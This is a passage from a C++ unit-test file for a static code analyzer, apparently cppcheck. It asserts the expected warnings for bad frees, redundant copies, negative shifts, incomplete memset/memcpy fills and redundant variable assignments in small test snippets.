ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 